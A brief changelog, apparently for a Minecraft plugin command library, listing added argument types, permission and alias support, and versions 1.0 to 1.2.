- Remove unnecessary reflection
- Adds EntitySelectorArgument
- Adds LiteralArgument
- Adds support for ProxiedCommandSender
- Version 1.2
- Version 1.1
- Adds PlayerArgument
- Adds ParticleArgument
- Adds ChatColorArgument
- Adds EnchantmentArgument
- Adds LocationArgument
- Adds EntityTypeArgument
- Adds permissions support
- Adds alias support
- Version 1.0